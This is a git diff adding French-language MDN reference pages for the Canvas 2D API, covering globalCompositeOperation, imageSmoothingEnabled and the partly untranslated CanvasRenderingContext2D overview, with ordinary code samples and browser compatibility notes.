+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compositing')}}</td>
+   <td>{{Spec2('Compositing')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez apporter votre contribution, veuillez consulter la page <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull-request.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.globalCompositeOperation")}}</p>
+
+<h3 id="Remarques_concernant_WebKitBlink">Remarques concernant WebKit/Blink</h3>
+
+<ul>
+ <li>Dans les navigateurs de type WebKit et Blink, la méthode non-standard et obsolète <code>ctx.setCompositeOperation()</code> est implémentée à la place de cette propriété.</li>
+ <li>Le support de <code>"plus-darker"</code> et<code>"darker"</code> a été abandonné à partir de Chrome 48. Veuillez utiliser <code>"darken"</code> à la place.</li>
+</ul>
+
+<h3 id="Remarques_concernant_Gecko">Remarques concernant Gecko</h3>
+
+<ul>
+ <li>Une version préliminaire de la spécification de Canvas définissait une valeur <code>"darker"</code>. Cependant, Firefox a abandonné le support de <code>"darker"</code> dans sa version 4 ({{bug(571532)}}). Voir aussi <a href="http://dropshado.ws/post/77229081704/firefox-doesnt-support-canvas-composite-darker">cet article de blog</a> qui suggère l'utilisation de <code>"difference"</code> pour parvenir à un effet similaire à <code>"darker"</code>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui définit cette propriété : {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.html b/files/fr/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.html
new file mode 100644
index 0000000000..415300d3a8
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/imagesmoothingenabled/index.html
@@ -0,0 +1,136 @@
+---
+title: CanvasRenderingContext2D.imageSmoothingEnabled
+slug: Web/API/CanvasRenderingContext2D/imageSmoothingEnabled
+tags:
+  - API
+  - Canevas
+  - Canvas
+  - CanvasRenderingContext2D
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/imageSmoothingEnabled
+---
+<div>{{APIRef}} {{SeeCompatTable}}</div>
+
+<p>La propriété <code>CanvasRenderingContext2D.imageSmoothingEnabled</code> de l'API Canvas 2D peut être affectée pour changer le fait que les images soient lissées (<code>true</code>, par défaut) ou non (<code>false</code>). Lors de la récupération de la propriété <code>imageSmoothingEnabled</code>, la dernière valeur à laquelle elle a été définie est renvoyée.</p>
+
+<p>Cette propriété est utile pour les jeux à thème pixel-art, lors d'une mise à l'échelle du canvas par exemple. L'algorithme de redimensionnement par défaut peut créer des effets de flou et ruiner les jolis pixels. Mettez cette propriété à <code>false</code> dans ce cas. Voir aussi la propriété CSS {{cssxref("image-rendering")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.imageSmoothingEnabled = valeur;</var></pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>Un {{jsxref("Boolean")}} indiquant de lisser les images ou non.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_globalAlpha_property" name="Using_the_globalAlpha_property">Utilisation de la propriété <code>imageSmoothingEnabled</code></h3>
+
+<p>Ceci est juste un simple fragment de code utilisant la propriété <code>imageSmoothingEnabled</code> sur une image mise à l'échelle.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[7-10]">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+img.onload = function() {
+ ctx.mozImageSmoothingEnabled = false;
+ ctx.webkitImageSmoothingEnabled = false;
+ ctx.msImageSmoothingEnabled = false;
+ ctx.imageSmoothingEnabled = false;
+ ctx.drawImage(img, 0, 0, 400, 200);
+};
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en direct dans le canevas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Code jouable</h6>
+
+<pre class="brush: html">&lt;canvas id="canevas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="<code>playable-buttons</code>"&gt;
+  &lt;input id="modifier" type="button" value="Modifier" /&gt;
+  &lt;input id="effacer" type="button" value="Effacer" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="<code>playable-code</code>" style="height:140px;"&gt;
+var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+img.onload = function() {
+ ctx.mozImageSmoothingEnabled = false;
+ ctx.webkitImageSmoothingEnabled = false;
+ ctx.msImageSmoothingEnabled = false;
+ ctx.imageSmoothingEnabled = false;
+ ctx.drawImage(img, 0, 0, 400, 200);
+};&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+var textarea = document.getElementById('code');
+var effacer = document.getElementById('effacer');
+var modifier = document.getElementById('modifier');
+var code = textarea.value;
+
+function dessinerCanevas() {
+  ctx.clearRect(0, 0, canevas.width, canevas.height);
+  eval(textarea.value);
+}
+
+effacer.addEventListener('click', function() {
+  textarea.value = code;
+  dessinerCanevas();
+});
+
+modifier.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', dessinerCanevas);
+window.addEventListener('load', dessinerCanevas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-imagesmoothingenabled", "CanvasRenderingContext2D.imageSmoothingEnabled")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.imageSmoothingEnabled")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{cssxref("image-rendering")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/index.html b/files/fr/web/api/canvasrenderingcontext2d/index.html
new file mode 100644
index 0000000000..ead40576bd
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/index.html
@@ -0,0 +1,434 @@
+---
+title: CanvasRenderingContext2D
+slug: Web/API/CanvasRenderingContext2D
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - graphique
+translation_of: Web/API/CanvasRenderingContext2D
+---
+<p>{{APIRef}}</p>
+
+<p>L'interface <strong>CanvasRenderingContext2D</strong> est utilisée pour dessiner des rectangles, du texte, des images et d'autres objets sur l'élément canvas. Il fournit le contexte de rendu 2D pour la surface de dessin d'un élément {{HTMLElement("canvas")}}.</p>
+
+<p>Pour obtenir un objet de cette interface, appelez {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} sur un élément <code>&lt;canvas&gt;</code>, en fournissant "2d" comme argument :</p>
+
+<pre>var canevas = document.getElementById('tutorial'); // dans votre HTML, cet élément apparaît comme &lt;canvas id="monCanevas"&gt;&lt;/canvas&gt;
+var ctx = canevas.getContext('2d');
+</pre>
+
+<p><span style="line-height: 1.5;">Une fois que vous avez le contexte de rendu 2D pour un canevas, vous pouvez dessiner à l'intérieur. Par exemple :</span></p>
+
+<pre>ctx.fillStyle = "rgb(200,0,0)"; // définit la couleur de remplissage du rectangle
+ctx.fillRect(10, 10, 55, 50);   // dessine le rectangle à la position 10, 10 d'une largeur de 55 et d'une hauteur de 50
+</pre>
+
+<p><span style="line-height: 1.5;">Voir les propriétés et les méthodes dans la barre latérale et plus bas. Le </span><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/Canvas_API/Tutorial" title="Canvas tutorial">tutoriel canvas</a><span style="line-height: 1.5;"> a davantage d'informations, d'exemples et de ressources également.</span></p>
+
+<h2 id="Dessin_de_rectangles">Dessin de rectangles</h2>
+
+<p>Il existe trois méthodes qui dessinent immédiatement des rectangles sur la bitmap.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt>
+ <dd>Initialise tous les pixels dans le rectangle défini par le point de départ <em>(x, y)</em> et la taille <em>(largeur, hauteur)</em> à noir transparent, en effaçant tout contenu précédemment dessiné.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt>
+ <dd>Dessine un rectangle rempli à la position <em>(x, y)</em> dont la taille est déterminée par <em>largeur</em> et <em>hauteur</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt>
+ <dd>Peint un rectangle ayant un point de départ en <em>(x, y)</em>, une largeur <em>l</em> et une hauteur <em>h</em> sur le canevas, en utilisant le style de trait en cours.</dd>
+</dl>
+
+<h2 id="Dessiner_du_texte">Dessiner du texte</h2>
+
+<p>Les méthodes suivantes permettent de dessiner du texte. Voir aussi l'objet {{domxref("TextMetrics")}} pour les propriétés du texte.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText()")}}</dt>
+ <dd>Dessine (rempli) un texte donné à la position (x,y) donnée.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText()")}}</dt>
+ <dd>Dessine (contour) un texte donné à la position (x, y) donnée.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText()")}}</dt>
+ <dd>Renvoie un objet {{domxref("TextMetrics")}}.</dd>
+</dl>
+
+<h2 id="Styles_de_ligne">Styles de ligne</h2>
+
+<p>Les méthodes et propriétés suivantes controllent comment les lignes sont dessinées.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth")}}</dt>
+ <dd>Largeur des lignes. Défaut <code>1.0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap")}}</dt>
+ <dd>Type de finission pour la fin de la ligne. Valeurs possible: <code>butt</code> (défaut), <code>round</code>, <code>square</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin")}}</dt>
+ <dd>Définit le type de coin quand deux lignes se rejoignent. Valeurs possible: <code>round</code>, <code>bevel</code>, <code>miter</code> (défaut).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt>
+ <dd>Le taux limite du miter. Sa valeur par défaut est <code>10</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt>
+ <dd>Retourne le tableau de modèle du trait courant contenant un nombre pair de nombre positifs.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt>
+ <dd>Définit le modèle du trait courant.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt>
+ <dd>Specifies where to start a dash array on a line.</dd>
+</dl>
+
+<h2 id="Styles_de_texte">Styles de texte</h2>
+
+<p>Les propriétés suivantes contrôlent la manière dont le texte est rendu à l’affichage.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font")}}</dt>
+ <dd>Paramètre de fonte dont la valeur par défaut est <code>10px sans-serif</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign")}}</dt>
+ <dd>Paramètre d’alignement horizontal. Ses valeurs possibles sont : <code>start</code> (par défaut), <code>end</code>, <code>left</code>, <code>right</code> et <code>center</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline")}}</dt>
+ <dd>Paramètre d’alignement vertical par rapport à la ligne de base du texte. Ses valeurs possibles sont : <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code> (par défaut), <code>ideographic</code>, <code>bottom</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction")}}</dt>
+ <dd>Direction d’affichage. Ses valeurs possibles sont : <code>ltr, rtl</code>, <code>inherit</code> (par défaut).</dd>
+</dl>
+
+<h2 id="Fill_and_stroke_styles">Fill and stroke styles</h2>
+
+<p>Fill styling is used for colors and styles inside shapes and stroke styling is used for the lines around shapes.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt>
+ <dd>Color or style to use inside shapes. Default <code>#000</code> (black).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt>
+ <dd>Color or style to use for the lines around shapes. Default <code>#000</code> (black).</dd>
+</dl>
+
+<h2 id="Gradients_and_patterns">Gradients and patterns</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt>
+ <dd>Creates a linear gradient along the line given by the coordinates represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt>
+ <dd>Creates a radial gradient given by the coordinates of the two circles represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt>
+ <dd>Creates a pattern using the specified image (a {{domxref("CanvasImageSource")}}). It repeats the source in the directions specified by the repetition argument. This method returns a {{domxref("CanvasPattern")}}.</dd>
+</dl>
+
+<h2 id="Shadows">Shadows</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur")}}</dt>
+ <dd>Specifies the blurring effect. Default <code>0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor")}}</dt>
+ <dd>Color of the shadow. Default fully-transparent black.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}</dt>
+ <dd>Horizontal distance the shadow will be offset. Default 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}</dt>
+ <dd>Vertical distance the shadow will be offset. Default 0.</dd>
+</dl>
+
+<h2 id="Paths">Paths</h2>
+
+<p>The following methods can be used to manipulate paths of objects.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt>
+ <dd>Starts a new path by emptying the list of sub-paths. Call this method when you want to create a new path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt>
+ <dd>Causes the point of the pen to move back to the start of the current sub-path. It tries to draw a straight line from the current point to the start. If the shape has already been closed or has only one point, this function does nothing.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt>
+ <dd>Moves the starting point of a new sub-path to the <strong>(x, y)</strong> coordinates.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo()")}}</dt>
+ <dd>Connects the last point in the subpath to the <code>x, y</code> coordinates with a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}</dt>
+ <dd>Adds a cubic Bézier curve to the path. It requires three points. The first two points are control points and the third one is the end point. The starting point is the last point in the current path, which can be changed using <code>moveTo()</code>before creating the Bézier curve.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}</dt>
+ <dd>Adds a quadratic Bézier curve to the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arc()")}}</dt>
+ <dd>Adds an arc to the path which is centered at <em>(x, y)</em> position with radius<em> r</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo()")}}</dt>
+ <dd>Adds an arc to the path with the given control points and radius, connected to the previous point by a straight line.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt>
+ <dd>Adds an ellipse to the path which is centered at <em>(x, y)</em> position with the radii <em>radiusX</em> and <em>radiusY</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction by <em>anticlockwise</em> (defaulting to clockwise).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt>
+ <dd>Creates a path for a rectangle at<em> </em>position <em>(x, y)</em> with a size that is determined by <em>width</em> and <em>height</em>.</dd>
+</dl>
+
+<h2 id="Drawing_paths">Drawing paths</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fill()")}}</dt>
+ <dd>Fills the subpaths with the current fill style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke()")}}</dt>
+ <dd>Strokes the subpaths with the current stroke style.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}</dt>
+ <dd>If a given element is focused, this method draws a focus ring around the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt>
+ <dd>Scrolls the current path or a given path into the view.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt>
+ <dd>Creates a clipping path from the current sub-paths. Everything drawn after <code>clip()</code> is called appears inside the clipping path only. For an example, see <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Clipping paths</a> in the Canvas tutorial.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt>
+ <dd>Reports whether or not the specified point is contained in the current path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt>
+ <dd>Reports whether or not the specified point is inside the area contained by the stroking of a path.</dd>
+</dl>
+
+<h2 id="Transformations">Transformations</h2>
+
+<p>Objects in the <code>CanvasRenderingContext2D</code> rendering context have a current transformation matrix and methods to manipulate it. The transformation matrix is applied when creating the current default path, painting text, shapes and {{domxref("Path2D")}} objects. The methods listed below remain for historical and compatibility reasons as {{domxref("SVGMatrix")}} objects are used in most parts of the API nowadays and will be used in the future instead.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.currentTransform")}}</dt>
+ <dd>Current transformation matrix ({{domxref("SVGMatrix")}} object).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate()")}}</dt>
+ <dd>Adds a rotation to the transformation matrix. The angle argument represents a clockwise rotation angle and is expressed in radians.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scale()")}}</dt>
+ <dd>Adds a scaling transformation to the canvas units by x horizontally and by y vertically.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.translate()")}}</dt>
+ <dd>Adds a translation transformation by moving the canvas and its origin x horzontally and y vertically on the grid.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.transform()")}}</dt>
+ <dd>Multiplies the current transformation matrix with the matrix described by its arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform()")}}</dt>
+ <dd>Resets the current transform to the identity matrix, and then invokes the <code>transform()</code> method with the same arguments.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}</dt>
+ <dd>Resets the current transform by the identity matrix.</dd>
+</dl>
+
+<h2 id="Compositing">Compositing</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt>
+ <dd>Alpha value that is applied to shapes and images before they are composited onto the canvas. Default <code>1.0</code>(opaque).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt>
+ <dd>With <code>globalAlpha</code> applied this sets how shapes and images are drawn onto the existing bitmap.</dd>
+</dl>
+
+<h2 id="Drawing_images">Drawing images</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage()")}}</dt>
+ <dd>Draws the specified image. This method is available in multiple formats, providing a great deal of flexibility in its use.</dd>
+</dl>
+
+<h2 id="Pixel_manipulation">Pixel manipulation</h2>
+
+<p>See also the {{domxref("ImageData")}} object.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt>
+ <dd>Creates a new, blank {{domxref("ImageData")}} object with the specified dimensions. All of the pixels in the new object are transparent black.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt>
+ <dd>Returns an {{domxref("ImageData")}} object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at <em>(sx, sy)</em> and has an <em>sw</em> width and <em>sh</em> height.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt>
+ <dd>Paints data from the given {{domxref("ImageData")}} object onto the bitmap. If a dirty rectangle is provided, only the pixels from that rectangle are painted.</dd>
+</dl>
+
+<h2 id="Image_smoothing">Image smoothing</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt>
+ <dd>Image smoothing mode; if disabled, images will not be smoothed if scaled.</dd>
+</dl>
+
+<h2 id="The_canvas_state">The canvas state</h2>
+
+<p>The <code>CanvasRenderingContext2D</code> rendering context contains a variety of drawing style states (attributes for line styles, fill styles, shadow styles, text styles). The following methods help you to work with that state:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt>
+ <dd>Saves the current drawing style state using a stack so you can revert any change you make to it using <code>restore()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt>
+ <dd>Restores the drawing style state to the last element on the 'state stack' saved by <code>save()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt>
+ <dd>A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element.</dd>
+</dl>
+
+<h2 id="Hit_regions">Hit regions</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Adds a hit region to the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Removes the hit region with the specified <code>id</code> from the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Removes all hit regions from the canvas.</dd>
+</dl>
+
+<h2 id="Non-standard_APIs">Non-standard APIs</h2>
+
+<h3 id="Blink_and_WebKit">Blink and WebKit</h3>
+
+<p>Most of these APIs are <a href="https://code.google.com/p/chromium/issues/detail?id=363198">deprecated and will be removed in the future</a>.</p>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt>
+ <dd>Removes all shadow settings like {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.drawImageFromRect()</code></dt>
+ <dd>This is redundant with an equivalent overload of <code>drawImage</code>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setAlpha()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalAlpha")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setCompositeOperation()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineWidth()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineWidth")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineJoin()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineJoin")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineCap()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineCap")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setMiterLimit()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.miterLimit")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setStrokeColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.strokeStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setFillColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.fillStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setShadow()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDash</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDashOffset</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitImageSmoothingEnabled</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} instead.</dd>
+</dl>
+
+<h3 id="Blink_only">Blink only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.isContextLost()</code></dt>
+ <dd>Inspired by the same <code>WebGLRenderingContext</code> method it returns <code>true</code> if the Canvas context has been lost, or <code>false</code> if not.</dd>
+</dl>
+
+<h3 id="WebKit_only">WebKit only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt>
+ <dd>The backing store size in relation to the canvas element. See <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Gecko_only">Gecko only</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}</dt>
+ <dd>CSS and SVG filters as Canvas APIs. Likely to be standardized in a new version of the specification.</dd>
+</dl>
+
+<h4 id="Prefixed_APIs">Prefixed APIs</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransform</code></dt>
+ <dd>Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransformInverse</code></dt>
+ <dd>Sets or gets the current inversed transformation matrix.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozImageSmoothingEnabled</code></dt>
+ <dd>See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozTextStyle</code></dt>
+ <dd>Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozDrawText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozMeasureText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozPathText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozTextAlongPath()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+</dl>
+
+<h4 id="Internal_APIs_(chrome-context_only)">Internal APIs (chrome-context only)</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}</dt>
+ <dd>Renders a region of a window into the <code>canvas</code>. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.demote()</code></dt>
+ <dd>This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.</dd>
+</dl>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<dl>
